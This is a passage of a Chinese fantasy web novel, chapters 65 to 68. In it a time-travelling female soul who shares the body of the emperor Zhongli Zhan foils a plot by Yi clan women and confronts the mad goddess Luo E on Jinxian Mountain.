似乎只有生死攸关之际,他才能爆发出那种重新掌控身躯,灵魂为身体主宰的力气。 钟离湛无法,可他也记得上一次他彻底清醒过来的时候感受到身上的粘腻,燥热的天气下七日不洗漱,这女魂比他想象的能加有忍耐力。 这一次七天已经过去了,她还在,可能正如她说的,她或许会在他的身体里更长时间,半个月?三十天?抑或是更久。 总不能真把自己放臭了。 【你……】 “我可不可以,闭上眼睛给你洗一洗?” 第65章 可不可以的,云绡已经开了这个口了,那就不是钟离湛说得算。 既然云绡不能在这件事上装死,那就只能他闭上眼睛装死了。 浴池是从山中引的活水,因殿周刻下符咒,水入殿内便升温,到了池子里恰好是可以解乏的温度,亦如温泉之效。 云绡摆正了自己只是来沐浴不让身体发臭的态度,脱衣全程目不斜视,泡在浴池中也昂着头看向穹顶上奇特的雕刻。 泡了好一会儿,云绡察觉到她都没怎么搓洗身上便有种污垢尽褪,焕然一新的轻松感,后知后觉地发现这些应当是池壁上符咒起了作用。 越泡澡,越困倦,云绡翻了个身,迷迷糊糊地趴在石壁上浅浅睡了一觉。 这一觉昏沉,她模糊间看见了许多巨人,那些巨人有男有女,身量高到几乎能遮蔽她头顶所有阳光。 云绡看不清他们的五官,但能看见他们身上的绫罗绸缎,她听得到他们无奈又轻慢的语气。甚至有一只宽大的能将她彻底包裹的手掌朝她探了过来,似是妄图阻拦她的前路和视野,让她永远困在这一个个如同高墙的人影之中。 像是梦魇,云绡的呼吸越来越急促,她在那些人凑近的身体里看见了一道缝隙,那是光芒唯一照进来的地方。 她听不清他们说了什么,也不敢去猜他们要做什么,她只知道要快速冲出这层层叠叠的巨人,寻找突破和出口。 云绡推开一只只朝她张开的手,弓着身子从那道光芒缝隙里冲了过去,她身后的那些巨人仿佛坍塌的山峰,轰隆隆的巨响不断响起,可她不敢回头去看。 好不容易冲出那道白光,云绡还没来得及松口气,骤然发现前路空空,更多的陌生的巨人身影分散四 周,密密麻麻无穷尽,他们似乎听到了什么动静回头看来。 云绡站在他们面前何其渺小,她就像一个真正的蝼蚁去仰视参天大树,这时她回头看去,身后哪有山?哪有人?哪有路?唯余茫茫的一片白。 那些巨大的人俯瞰她,藐视她,嘲笑她,她看见了一根根手指远远指向她,仿佛随时都能将她碾死。 云绡的心中无比惶恐与慌乱,她不安地希望能找到什么东西来保护自己,可她孑然一身而来…… 手上突然多了几分重量,云绡抬起手看去,她看见自己的左手握着一把长剑,这把剑她很熟悉,因为她看见钟离湛的手中有过一模一样的一把。 长发从身后被飓风吹到了视野之中,云绡看见了一缕缕黑发带着些卷,白光渲染的世界里,唯有她能看见这抹黑色的发,能握住这把银色的剑。 她突然知道这不是她的梦。 不过是因为她的魂魄与钟离湛的挤在了同一具身体里,所以她借着钟离湛的眼看见了他这令人窒息的梦境。 她听到了钟离湛急促的呼吸,她感受到了他紊乱的心跳,她也察觉到他的无助与震撼,还有些许恐惧。 忽而一道猩红色划破视野,云绡骤然闭上了眼,再度睁开,入目所见的还是水汽蒸腾的宫殿。 心脏仍然在剧烈地跳动着,云绡捂着心口的位置,感受那里残余的孤独感,正是钟离湛与那些白光中的巨人格格不入的脆弱。 那是什么梦? “钟离湛。” 云绡喊了他一声,没人回应她。 她从浴池中起身,擦干身上的水分后随意披了件长衣遮挡身躯,便找了个亮光最足的地方坐着,好像这样才能驱散方才梦中感受到的寒意。 桌上一张铜镜竖立,云绡瞥了一眼镜子里的自己,她从中看见钟离湛的面容。 苍白毫无血色的脸上,表露出来的情绪全是她的。 有那么一瞬云绡以为自己看错了,她愣怔了瞬端起铜镜凑到跟前。 这是一张她十分熟悉的脸,也是她第一次去看这个时期还活着的钟离湛的脸,与她后来看见的钟离湛几乎没有什么差别,但还是有些细微处不同的。 潮湿漆黑的卷发贴在她的脸颊两侧,有一小部分盖在额前,云绡拨开了额前的发丝,几乎要将脸怼到铜镜上了,这才借着烛火看清钟离湛额头中心处一道淡淡的红痕。 如线,似针,也很小,不过指甲盖长短。因为黑夜将他的五官变得更加深刻,所以云绡一时没能看清。 仔细去看,那道红痕的确是在的。 她抬手抹了抹,没有抹去,那不是伤痕,因为一点也不痛,没有疤痕的凹凸感,更像是与生俱来的胎记。 云绡仔细回忆,禁地里的钟离湛有这道红痕吗? 当时他的发丝披散着,大半身体埋在红泥里,身上盖着沉重的灰尘,云绡只匆匆瞥见了他惊为天人的容貌,未曾发现他额上的特别。 云绡将发丝整理了一下,全都别到而后露出完整的一张脸,端着铜镜认真地左右环顾脸颊,想要看看是否还有与她后来见到的钟离湛的魂魄不同之处。 殿内烛火发出噼啪一声,殿外守着的侍卫将烛火倒映在窗棂上的影子看得清楚。 君上端起铜镜又是整理头发,又是摸脸,这是在做什么?怎么那么像是……涂脂抹粉? 不不不!君上怎么可能涂脂抹粉? 一定是入夜他的眼睛昏花了,闭上眼,不能看不能看。 - 何舜的办事效率很快,短短六日时间他就将他能找到的所有旖族女子全都带来了云绡跟前,如她所说的领入宫中。 云绡不让她们接触宫外的人,就将她们放在眼皮子底下。一天拉走一批对旖族女子那边称是问话,再悄然放出消息说那些女子都被抹杀,她不信藏在其中的人会不行动。 到底是为他人手中刀刃,而非真正的野心者,这些旖族女子的耐心就少了很多。 又过七日,七千多旖族女子中少了近乎一半,那些旖族女子有去无回,足够让她们惊慌失措露出马脚来。 自从那场梦的出现,云绡就再也联系不上钟离湛了,她其实怀疑钟离湛还陷入梦中,只是眼下她没有其他办法唤醒他。 好几次云绡睡前都拼命地念道一定要让钟离湛醒来,或者她再入梦去,但都无效。 云绡睡不惯钟离湛的石床,所以她都是睡在殿中看书的榻上的。 这一夜似风雨欲来,窗外树影婆娑,云绡尚未完全熟睡便听到了细小的动静,再睁眼她就不在殿内了。 雕梁画栋,如仙宫穹宇,金碧辉煌的通天柱立在她的周围,袅袅纤云带着炙热的气息朝她迎面拂来。 柱身之后忽而传来一声娇笑,云绡听起一身鸡皮疙瘩,随后便瞪大双眼屏住呼吸了。 几十个玲珑女子身披彩霞,肤如玉,发如云,除了一层薄薄的纱衣挂在肩上欲落未落之外,那件纱衣里头什么也没穿。 该露的全露了,该挡的也没挡住。 女人们吐气如兰,声似娇吟,软若无骨的手眼看着就要朝云绡的身上摸过来,无数道娇滴滴的声音迷惑她的头脑和意识,唤道:“君上~” 冲着钟离湛来的! 云绡胸腔腾升起一股怒意,往后退了半步闭上眼睛,恨不得戳瞎钟离湛这双看了这些女子身体的双眼! 障眼法,迷魂阵。 云绡得亏了自己好学,在钟离湛那儿学了不少本事来。若是她自己的身体,可能因为不够力量还得需血来破局,但这具身体是钟离湛的,身体里也有钟离湛的魂魄。 云绡避开那在她眼里如同蜘蛛鬼爪一样的手臂,双手比了结印后又凭空画符,妖魔鬼怪各路邪祟皆退去。 纤云消散,琼楼坍塌,那些曼妙女子的脸上全都露出意外又惊恐的表情。 云绡没放过她们,凌空符咒被她打入地下三寸,咒文如蛛网一样裂开,迅速朝四周蔓延,在那些宵小尚未离开宫殿之前便将整个宫殿牢牢封锁,一个活物也别想进去。 看着眼前二十多名旖族女子,她们衣衫褪尽,面露错愕,随后惶恐不安地跪地求饶。 云绡不会认为,这二十多个就是受人指使的全部。 宫中看守中,亦有二心者。 “洛锦!” 云绡只喊了这一声,看那些女子如同疫病一样远离。她到高台之上的座椅处坐下,看着跪在地上瑟瑟发抖的二十多人,脸越来越冷。 勾、引钟离湛?! 她们居然敢勾、引钟离湛! 钟离湛是她的啊!这些脏东西丑东西恶心人的臭东西怎么敢脱了衣服上前来的?! 云绡现在手很痒,很想握着什么锋利的小玩意儿给这些居心不良甚至没有自知之明的旖族女子一人开几百上千个窟窿。 洛锦自知手下护卫中有人起了异心才将这些旖族女子放了进来,看殿角被打散的阵他冷汗涔涔,又于心中暗骂这些旖族女子的不自量力。 这些阵定然是旁人教给她们的,擅阵的是湖族,即便这些人的幕后主使不是湖族,湖族也脱不开干系。 洛锦将剩下的那些旖族女子全都带来,无数哭泣声响起,简直魔音贯耳。 云绡听她们又在哭惨,叹命运不公,叹身不由己,又说是因为太过害怕才想着自荐枕席,狗屁的自荐枕席! “你们当自己都是什么好货?竟妄图引诱孤?看来不将你们都杀了,你们是说不出真话的。” 云绡是真 的起了杀心。 她甚至想将钟离湛提出来质问他,怎么他身边的人都这么不可靠!若不是有她在,这些女人摸他哪一块皮,她都要削他那一块肉! 这一刻云绡连洛锦都想杀了! “还不说?”云绡的手指烦躁地在靠椅扶手上点了点,声音冷凛地开口:“那就别开口了。” 话音才落,洛锦便手起刀落,当着那些旖族女子的面砍下了衣衫不整的二十人中,一半人的头颅。 身首异处,刀锋滴血,一声声尖叫在钟离湛如同杀神一样的眼神中渐渐安静了下去。 云绡看着满地的红,又见殿中密密麻麻的旖族女子,只觉得这一幕分外熟悉。 脑海中一闪而过的历史痕迹,此刻如同烙印一样钉在了她的眼前。 三千后宫佳丽? 怕旖族女子血里带咒的命运,故一夜屠尽,头颅载酒,茹毛饮血? 云绡恍惚了一瞬,气恼,心惊,不甘,心疼……数种情绪起伏。 什么叫钟离湛疯了? 分明是后世人拿着三分真,七分假来污蔑他。 云绡这个时候若真杀了这些旖族女,不就正中历史的下怀?将钟离湛的名声推向万劫不复之地? 她深吸一口气,烦躁未消,但她突然想到了个好点子。 云绡讨厌旖族神女洛娥,也讨厌旖族女,谁的子民,谁负责。 她要将这些女人都送去锦仙山,她也不算害她们不是? 毕竟锦仙山四季如春,后来住在山中的旖族女子过得都不错,她们甚至要感谢她此刻的不杀之恩。 - 疾行于深夜的徐容靳紧紧地牵着陆梨的手,问她:“你说你听到了鬼哭声,是在神女峰?” 陆梨看向那独树一帜的山峰,点头道:“我甚至看见了白毛鬼女在咒骂杀神。” 徐容靳想了想,没想起来谁是杀神。 陆梨沉下声道:“仲卿爷爷说过的啊,这里是杀神的后宫花园,杀神……是指曦帝人皇——钟离湛。” 第66章 澜州,锦仙山外。 云绡坐在马上,看向那近在咫尺却又触不可及的高山,此时的锦仙山和她后来见到的完全不同。 山外没有冰雪,山体周围也没有被挖出宛如悬崖一般的深坑。它就像是本就存在于此的一座寻常高山,花团锦簇,绿茵成林。 云绡说要将旖族女子全都送到锦仙山来虽是一时兴起,可看后来锦仙山上与世隔绝的安逸环境,这里未必不是旖族女子最好的去处。 对于那些有心要害人的,让她们永远见不到外人是惩罚,对那些真的因为身份而痛苦的旖族女子,让她们留在这里何尝不是保护她们? 七千多旖族女,想要全都带来锦仙山也不容易,云绡将这件事丢给洛锦之后便领着几个护卫先一步来到锦仙山。 钟离湛说锦仙山与朱木简上的内容有所关联,她来此间的目的也是为此。 初来时那些人将钟离湛架在火上烤,云绡总得先将眼前的麻烦解决,顺便让洛锦调查锦仙山的下落,再给旖族女找好去路。断了那些人利用旖族女子的意图,这才马不停蹄地赶来锦仙山。 在临近锦仙山后云绡便让跟着自己的人留在原地,她骑着马朝锦仙山靠近。 一千多年前平地而起?云绡不觉得那是以讹传讹的假话。 郁郁葱葱的树木遮蔽了山体真正的形状,此时山壁上没有洛娥,可山里未必没有。 云绡思量了片刻,坐在马上奔走于山下,在锦仙山周围设下了一个简单的阵法,有此阵法她在山中的声音无法外传,若有人靠近她也能立刻感知。 设完阵后,云绡又顺手从树上扯了片树叶,学着钟离湛绘符的方式画了几道。薄薄的树叶在她手里卷成了一个小小的圆圈,曲指一弹,那圆圈飞入山中后又散开,嘹亮的声音几乎响彻山峰,荡起几圈气劲。 “洛娥、洛娥!洛娥——” 回音震慑山谷,连脚下的地都有些颤动。 云绡一愣,低头看了眼自己的手,心里忍不住羡慕嫉妒。 钟离湛的身体可真好用! 她再看向不久前设下的阵,嗯,阵没有受到半分影响,倒是把山林里的一些虫鸟野兽给惊醒了。 被惊醒的还有其他人。 【你在做什么?】 钟离湛浑噩之间,被这道清甜嘹亮的女声给惊得彻底清明过来。让他有些意外,她绘下的传音符竟像是延绘了她自己本来的声音,便是放声大喊也显得娇娇的。 云绡有些欣喜:“你终于醒啦!你这一次睡了好久,那场梦到后来发生了什么?你被困在里头了?那些巨人是谁?你看见他们的脸了吗?” 钟离湛才问一个问题,云绡没回答,数个问题劈里啪啦地砸下来,砸得他双耳嗡鸣。 不过云绡并没忽视钟离湛的提问,主动解释:“我来找洛娥,便是传说中的旖族神女,若无意外她应当就在这座山上,我想会会她。” 【神女?】 钟离湛很意外,他听过云绡提起洛娥,还以为是个寻常的旖族女子,却没想到对方竟是传说中的神女。 他当然不会认为这世上的神话论是无稽之谈,事实上,他在调查这件事情上费了一番功夫,活了二百多年,拼凑无数传说,也不算毫无收获。 更何况……他还做了那一场梦。 钟离湛呼吸一窒,他突然想起来云绡居然也提起了梦,还提到了梦中特别醒目的——巨人。 【你看见了?】 “看见什么?” 【你说梦,也说了巨人。】 云绡哦了声,回应道:“我看见了,梦里只有你一个人,孤立无援地站在一群巨人面前。那些巨人是什么?那被白光覆盖的地方也很怪异,还有哦!我从梦中醒来之前看见了一些奇怪的东西,红红的,就在你的脚下……” 钟离湛心惊,惊到甚至都无法回话了。如云绡这般描述,他十分断定她的确与他进入过同一场梦中,她说的红红的东西,他也看见过。 一场大梦,如同噩兆盖在他的头上,他没告诉云绡的是其实这不是他第一次梦见这种画面,也不是第一次经历被巨人围堵的困局。 在他离开钟离家之前,在他杀死那个身上种满了神鬼蛊的老者之后,他便频频陷入梦魇之中。 从梦的开头,到永远也看不到结束的梦醒时分,钟离湛曾只是站在在巨人当中的蝼蚁,被他们的指尖牢牢压制,掌控着,无法挣脱。 他无数次尝试,每一次结果都是破碎的,不堪的。 而这一次梦境是他唯一一次拨开巨人身躯,从那道白光缝隙里逃出,撞入了另一个与巨人不可分割,却又完全不同的时空里。 云绡问他,后来发生了什么? 钟离湛动了动嘴唇,对云绡道:【后来,我看见了历史。】 不知不觉中,钟离湛已经没有再对云绡称过‘孤’,他无法将云绡当成寻常人看待,她更像他心里的一个影子,是他如今能够真正开诚布公交谈的对象。 云绡并未发现钟离湛的改变,只是好奇他所说的历史。 【人拥有了无穷又特殊的力量,便开始争夺仅存的资源,本就不够团结,又被四分五裂。五帝问世,他们的身体里拥有天神赐予的能力,可以随意支配弱者的生死,于是战乱四起,民不聊生。】 钟离湛被生出来之前,天下就已经足够乱了,他不明白同样身为人,人与人之间有何好斗的呢? 那些掌握着世间绝大部分资源挥霍的上位者,真的有低下头来看看这世上绝大部分的人是如何苟延残喘地生活的吗? 他们没有。 他们为了保全如今的利益,也为了填满内在的欲望和野心,操纵着手中蝼蚁的生命,将他人生死作为垫脚石,获得的资源便是他们更加高高在上的筹码。 钟离湛站在巨人的脚下,而那些高高在上之人,站在他的脚下,在他们的脚下还有人。 一层层登云梯,一 具具被压弯的灵魂,昭示着世间的不公。 他在梦里握紧手中的剑,看那些白光笼罩的巨人。 他看不见他们的高大,看不见他们的强壮,看不见他们翻云覆雨的力量,他只觉得他们宛如魑魅魍魉。 云绡听他说起后来的梦境是他旁观历史滚滚而来,又无法改变已经发生的过去,不禁一声感叹:“真不公平啊,这世道。” “力量,促使野心勃勃。野心,划出欲望深渊。欲望,封杀仁义道德。”云绡忽而抬手轻轻放在自己正在跳动的心口上。 她不知道那是她的心跳,还是钟离湛的,她只是感受到了钟离湛如今身处之位的危机和疲惫。 他的仁义道德,他的公正不屈,到头来也不过是史书上乌烟瘴气的寥寥几笔。 云绡深吸一口气,又折了一片叶,按照先前画符的同样方式,再弹出去。 钟离湛看见她画符的步骤,还有她有些眼熟的字迹,有些意外他身体里的女魂不论是绘符笔划还是方式,甚至是笔锋,都与他的如出一辙。 他真的没有疯吗? 否则这个世上,怎会有一个如此懂他,又如此像他之人?偏偏还住在了他的躯壳之中,化作了女魂? 云绡的符再度飞出去时,声音伴随着气劲荡开。 “长空为垫云为台。 山河化掌灵作盘。 巧赐苍生一精炁。 左右天道执黑白。” 朱木简上云绡只清楚,也只认得这四行字,此刻这四行字以她能做到的最嘹亮的声音传入山川。 钟离湛说过,锦仙山和朱木简有关,那她喊洛娥的名字唤不醒她,不信朱木简上的内容她也毫不在意。 果然不消片刻,云绡脚下的地面开始震颤,非她那张传音符的震颤,而是如同地龙翻身,山中滚石簌簌而落,花草树木的颜色也在一瞬间发生了变化。 六月暑热,锦仙山上却飘来了几片冰凉的白雪,云绡记得这个味道,和她后来在鬼女山外嗅到的一模一样。 - 山未倾倒,不过因为这片刻的地动山摇,锦仙山从山体上分裂出了一道痕迹,倒是有些像开辟了一线天,那是足以一人通过的小径。 钟离湛见证这一切,自然知道这座山必然古怪。 只是他在位数年,却从来不知锦仙山,也不知这座锦仙山上还有个弥留于人间的真神。 钟离湛问:【你敢进去吗?】 云绡撇嘴:“谁要进去了?我前脚刚踏入,她后脚就合山,我不得连魂带你一起死在里头?” 她有些自得道:“谁急谁先动。” 说完,云绡双手抱臂以一个惬意的姿态靠在一旁的树干上道:“反正我不动。” 钟离湛:【……】 不得不说,云绡颇会拿捏人心,那道小径迟未有人踏入,这座山的主人反而等不及。 山体重新合上,山中一道焦急又凄厉的声音传来:“他人呢?” 云绡没见到传说中的洛娥就没说话,甚至闭目养神假装自己没听见。 随后冰冷袭来,簌簌雪花落下,云绡睁开眼的刹那那冰霜已经将她的睫毛冻得发白,凝结于睫毛上的冰珠短暂遮蔽了视线。 寒意尚未完全侵袭,一道剑意化作的剑风将寒气斩断,就在云绡的面前,锋利的划痕如同鸿沟,将来者与云绡彻底隔开。 钟离湛的手上沾染过无数条命,无数条他觉得该杀之人的性命,其中当然包括那传说中神明赐福与神仙血液相近的五帝。 云绡揉掉眼上的冰珠,认真看向来人。 冰霜一样的美人,浑身上下都是洁白无暇的,她的身上没有任何颜色,唯一能算作颜色的只有那双泛红的眼眸。 神仙不会落泪,她哭不出来,可眉宇间的痛苦难掩。 洛娥的身量甚至比钟离湛还要高出一截,云绡此刻得抬头看向她,看她婀娜的身形,看她身上似曾相识的颜色。 梦中画面从她脑海中一闪而过,直到阳光照见洛娥的身体,折射出五彩的霞光后她才断定,她入钟离湛的梦,所见纯白高大的巨人……恐怕都是只存在故事里,不存在人世间的神。 “他人呢?他去了哪里?!”洛娥问云绡。 云绡眨了一下眼,反问:“谁?” “告诉你这首诗的人!” 云绡哦了声,她知道这个洛娥是谁了! 真的接触上云绡才知道,洛娥绝对不可能和钟离湛产生什么男女纠葛的情愫,因为她是个为爱痴狂的疯子。 原来这就是钟离湛说的,朱木简和锦仙山有关? 再往深一层去想,也是朱木简上这首诗,和锦仙山上神女的身份有关。 洛娥忽而伸出手,指向云绡,脸色扭曲道:“你是谁?你从何而来?” 云绡看着美得像是冰雕玉砌的纯白巨人,现在暂且为缩小版却仍然高出寻常人很多的巨人,她慢慢往后退了半步。 云绡总觉得洛娥这一句不是在问钟离湛,而是在问她。 “孤为人皇曦帝,前来请问朱木简上那句话的真相。”云绡按捺心中慌张,故作镇定地开口。 “不对。”洛娥的眼居然能在眼眶中翻滚一圈,诡异又可怕。 翻滚后的眼珠子再直勾勾地对上了云绡的视线,她道:“你的身体里,有两道魂!” 云绡这回心跳都快停了,还不等她跑呢,洛娥说出了更令她恐惧的话。 “异界之魂……九星连月阵?你一定认得他!这些都是我教给他的,你一定认得他!” 风雪如刃,破开云绡与洛娥之间维持的安全假象。 “告诉我!他在哪里!” “告诉我!你和他是何关系?!” “祁山鹤,你怎敢背弃我!” 第67章 云绡在旖族女子身上吃过亏,所以她在面对任何旖族人时都多留了几分心眼。 可她没想过洛娥是个疯子,也没猜到她居然能看透她的魂魄不属于这个时空。 风雪席卷着杀意袭来,洛娥的怒吼里满是哀怨,她将这世间所有与祁山鹤有关的女子都当成了假想敌,若非如此,祁山鹤又怎会离她而去? 云绡即便用着钟离湛的身躯,可本领始终有限,她连连往后退,第一时间想到的便是反咒。 对着洛娥画下反咒的瞬间,云绡便感受到了一股濒死的窒息。周围的风雪遮蔽了她的视线,她看不见洛娥在哪儿,只能听见她的声音分裂成了一道又一道,与后来鬼女山外的几乎一样。 纷杂情绪的声音如同自言自语重叠,洛娥满脑子想的只有祁山鹤,只有她的爱。 云绡很能忍疼,但眼下这种每一道寒风都化作冰刃要将她凌迟的疼痛还是十分磨人的,她的反咒对洛娥未能起效。 比下结印的手指上覆盖着一层冰,那冰越来越厚,眼见着就要将她整个手臂都给冻住。 云绡几乎要憋闷到爆裂的胸腔突然腾升出一股炙热的烫意,她呼出一口气,热气吹散眼前的风雪,手上的冰也碎裂成一片片。 黑暗骤然将她的意识吞噬,这不是她第一次感觉到身体不受控,却是第一次明显感知到她被一股力量困在了钟离湛的躯壳里。 此刻云绡的状况,与钟离湛彻底颠倒。 她听到了钟离湛的声音就在耳边,低沉的,带着些许被寒风冻伤的沙哑,念着古老的咒语打破凛风白雪。 那双手笔划的咒印在云绡的视野里飞快成结,金光在他的手指周围饶了一圈,像是火雨一样四散迸射出去。 金圈扩散,法阵中心形成了漩涡,漩涡上数道符文以八角排列,一切都很快,云绡看都看不过来,更别说学了。 还不等她反应钟离湛究竟做了什么,周围风停雪止,在风雪里隐隐绰绰的身影也成了薄雾,阳光一晒连半点水汽都没了。 锦仙山瞬间变成了原来的模样,而她见过的洛娥也不过只是幻象。 “是傀儡?”云绡低声喃喃,被钟离湛听见,他 嗯了一声。 云绡记得钟离湛说过,简单的傀儡是以雕刻的木头而成,可以承载本体意识行事,多木讷僵硬,没有情绪。 可有些人可以用人来做傀儡,外在声音,一言一行都与本体无分毫差别。 那个教云绡反咒的神秘人便是如此,而这种傀儡术,原来早在这个时候就有人用了……不,用的还不是人。 洛娥的傀儡是从何而来的? 云绡想起了那些说有些旖族的百姓想要上锦仙山打些野货来贴补家用,结果都是有去无回。 一股恶寒袭来,云绡抖了抖肩膀。 “这是神仙?”云绡不可置信,她的认知又要被颠覆了:“难怪你说你从来没想过成神。” 钟离湛负手阔步,沿着锦仙山下石木排列的阵法一一看去,有一搭没一搭地回应着云绡:“我说过吗?” 云绡眨了眨眼,心道说过啊,不过不是现在告诉她的。 她说:“你说那叫祁山鹤的老头儿找你寻死时,你明知他是因何而永生却没动永生之念,那不就等于不想成神吗?” 钟离湛点了点头:“嗯。” 云绡还没松口气,他却又道:“是我摆阵的方式。” 他的手指又朝一块石头上刻下的咒文摸去道:“是我刻咒的手法。” 云绡一瞬间冷静下来了,又听见钟离湛道:“反咒,我教你的?” 云绡:“……” 能够重新掌控身体的感觉很好,钟离湛宛如从噩梦中挣脱出来一样,用自己的手去触碰,用自己的眼去看,他的灵魂被困住时想不明白的事情,这个时候都就能想得通了。 女魂安静了,钟离湛低声笑了笑:“不回答?我说对了?” 云绡反驳:“我本来就会的。” 钟离湛虽与云绡对话,却没漏下这座山的变化。洛娥说的话他全都听见了,若非洛娥对云绡动手想要将她的魂魄逼退,他也不能重新成为身体的主宰。 钟离湛对洛娥的评价,与云绡一致——她是个疯子。 “异界之魂。”钟离湛开口“你非此间之魂,又与我相识,我过去的记忆里不曾有过你,那便说明你是从未来而来,对吗?” 钟离湛突如其来的话叫云绡屏住呼吸,她不敢出声,这个时候只能装死。 应话会如何?会改变他的命运吗? 那是会往好的方向去改,还是会让他变得更加混乱? “没否认便说明我猜对了。”钟离湛又道:“你直呼我的名讳,至少该与我同辈,但你的声音很年轻,要么,你对我而言是特殊之人,要么,我已不再是人皇曦帝。” 云绡:“……” 罢了,她什么都不用说,反正他自己猜得很准。 云绡以为他接下来问的话又要涉及到她难以启齿的,关于他的生死,关于照国的后来之类的。 但钟离湛只是沉默了很长时间,问她:“你还没告诉我,你叫什么名字。” “你为何非要知道我的名字?”云绡抿唇,她不太敢透露自己的姓名,她很惜命的。 毕竟云绡才接受这世上有神仙,而且也才险些死在一个神仙的手里。她也知道神仙为真,天道自然也是真,她这样穿越时空而来的未来魂魄,一旦报上真名,她怕会死。 钟离湛道:“尾人断尾之事,还有这次旖族女子之事,你都有助力于我。你替我做了这么多,我总不能连如何称呼你都不知道。” 他不想叫她女魂,也不想有朝一日分不清她到底是真实存在过的,还是只是他妄念臆想。 云绡眨了眨眼,突然想到了什么。 钟离湛听到清灵的女声带着几分雀跃的试探道:“我做的那些也算不了什么……若你非要有个称呼的话,那就叫我小仙女吧。” 此称有些厚脸皮,但钟离湛能面不改色地如此称呼她,且这三个字也无关她的名字与八字,不算暴露自己。 云绡觉得自己很聪明。 钟离湛动了动嘴唇,压低声音,清晰地一字一顿地念出:“小、仙、女。” 他要将这三个字印在脑海。 旖族人能活两千多年,他见过太多活得足够长久到后来忘却昔日好友的同族,钟离湛不想一千年后忘记这个短暂地出现在他生命里,甚至连个轮廓痕迹都没有的人。 不论这个小仙女究竟因何而来,与未来的他是何关系,钟离湛都不去深究。 她不能说,他便装不知道,不想过于为难她。 云绡悄悄试过重新掌控钟离湛的身躯,可没用。她就像是突然缩小成了一个巴掌大的虫蝶,被关在了一个无形的笼子里,除了能和钟离湛说话之外,什么也做不了。 “小仙女。” “哎。” 钟离湛刚喊她,云绡便应得相当快相当自然。 钟离湛抿了一下唇,鼻音哼笑了声。没什么特别重要的事情,他只是想看她这个名字是临时编造出来的,还是她的确被人这样称呼过。 按照反应来看,她没骗他。 “你什么时候离开?”钟离湛问。 云绡摇头:“不知道,应当快了吧,可我还没弄明白。” “你想要弄明白什么?” 云绡道:“洛娥,和朱木简的关系,朱木简上诗文的意义。” 还有……他的死因。 “这很简单。”钟离湛道:“你想知道,我替你问。” 正好他也想知道,赠予他朱木简的祁山鹤,究竟想要告诉他什么?这世间真相如何,为何能让他宁可抛下一个神仙爱人也要赴死? - 云绡觉得,钟离湛被后世人成为杀神也不是毫无理由的……甚至在这个时候她看见钟离湛的所作所为,觉得他隐隐是有些疯病在身上的。 他将旖族女子分批送入锦仙山了。 这是云绡原本下的命令,可在她下令之前她并不知洛娥是个疯子。她以为洛娥至少会保护同为旖族女子的她的子民,也不知道原来所有人上山,都会殒命。 云绡成为钟离湛时她没有钟离湛那双可见这世间所有谎言之眼,钟离湛重新掌控身体之后那些旖族女子在他面前简直无所遁形。 是好是坏,当真全凭他一根手指去点。 点到谁头上,谁就去送死。 而所有被点到的旖族女子,便要排成长队一个一个往锦仙山上走。也不管那些人怎么哭怎么求,他自巍然坐在山下架好的凉棚里,神色冷然地看着这座山上一切微弱的变化。 锦仙山上,有去无回的旖族女子太多了。 钟离湛不怕耗费时间,他也不觉得那些害人性命的女人死了有何可惜的,甚至除了这些旖族女子,他还能送其他族中犯事者上山,就看洛娥能否全都吞下。 “第一千零三十三人了。” 云绡突然开口。 钟离湛以一种闲适的姿态靠在椅背上,单手撑着额角,那双狭长的狐狸眼睥睨时如危险的弯月,冷漠地面对入山人数。 “她们都会死吗?”云绡问。 “未必。”钟离湛道:“你要知道这世上的路都是人走出来的,一座锦仙山就这么大,她若怕了这些跳骚,自然会出来抖一抖肩。” 云绡没见过这样的钟离湛,她说他该去坐莲花座的,可这样的他又实在不像个好人。 “后世人会乱写你的。”云绡看着那些上山的女子排成了一条色彩缤纷的线道:“他们会说,你极好美人,最爱旖族颜色,又担心将她们留在后宫害了自己,所以干脆将她们全都关在山上,把这里变成你的后宫花园。” 钟离湛闻言,扑哧一声笑了出来。 拧眉看着这一切的何舜听到了笑声,忍不住悄悄朝钟离湛看去一眼。他不知君上突然笑什么,有时他还能听见君上在自言自语,结合君上将这些旖族女子送上山……外界流言怕是又要翻新了。 “问你时,你不说,我不问了你又提醒我。”钟离湛轻叹道:“你也很善良嘛,小仙女。” 替他烦,替他忧,替他不平,替他委屈,好柔软的一颗心。 云绡心道,若非他是钟离湛,她才不会多嘴。 锦仙山上的跳骚足够多,似乎已经将龟缩其中的洛娥逼得退无可退,六月间锦仙山山脉处又开始飘雪了。 雪花凝结成冰霜,覆盖在郁郁葱葱的山林中,周围的一切瞬息万变,所有景色全都褪去,就连何舜的影子也随着风雪消失于眼前。 云绡知道,钟离 湛被洛娥拉入了山中结界。 白光灿灿,冰墙包围着钟离湛,四面八方隐约有女子的身形走过,透过那些放着异彩的冰墙一切看上去显得极不真切。 这样洁白的颜色,倒是让云绡想起了钟离湛的梦。 许是因为洛娥防备所有认得祁山鹤的女子,又许是她提防异界而来的女魂,云绡只能看见发生了什么,听得不清不楚。 隐隐约约的,她不知道知道钟离湛与那道白冰墙中晃动的影子说了些什么。 钟离湛姿态轻松,像是故意激恼对方,洛娥也的确中套,凡是与祁山鹤有关的事她都没有任何理智可言。 云绡听着那仿佛千里之外传来的声音,正迷茫着,声音忽而就变得尤其清晰,尤其响亮。 “是!我就是故意的!我就是不甘心!为何我这样痛苦,为何我已经倾尽所有了却落得被背弃的下场!这世间男子没一个是好东西!他们不配得到爱!他们只配去死!” 云绡动了动手指,这才发现是因为钟离湛将身躯让给了她,她才能听见这些的。 咦?他已经如此厉害,能决定是否让出身体了? 冰墙中的女人还在痴狂。 “我们旖族的女子,不需要男人的爱!我们要男人的命,要他们的运!要这世上所有男子皆为我所用!” “什么甜言蜜语海誓山盟,都是虚情假意,都是假的!我这怎能叫诅咒?我这分明是为她们好,我要她们都借运道扶摇直上,将那些贱男人踩在脚下!” 不对。 云绡没敢开口,她面上沉静,心里却一片麻意。 洛娥是个彻头彻尾的疯子,她的目的也不是为了惩罚那些负心的男人。 所以原来一开始旖族女子并非生来便如菟丝花,她们可以拥有正常人的生活?是因为洛娥爱而不得的诅咒,才让她们连活着的资格都没有。 云绡呼吸一窒,洛娥后来说的话她都听不见了。 耳边一片嗡鸣,眼前的画面也变得模糊,熟悉的眩晕感袭来时云绡立刻闭上了眼睛。 钟离湛似有所觉。 “小仙女?” 云绡抓紧时间开口:“我要走了,钟离湛。” 她匆匆留下一句:“帮我调查朱木简的真相,这对我很重要,下次来,我要问你的。” 也不知钟离湛听见了没有。 第68章 云绡没能离开。 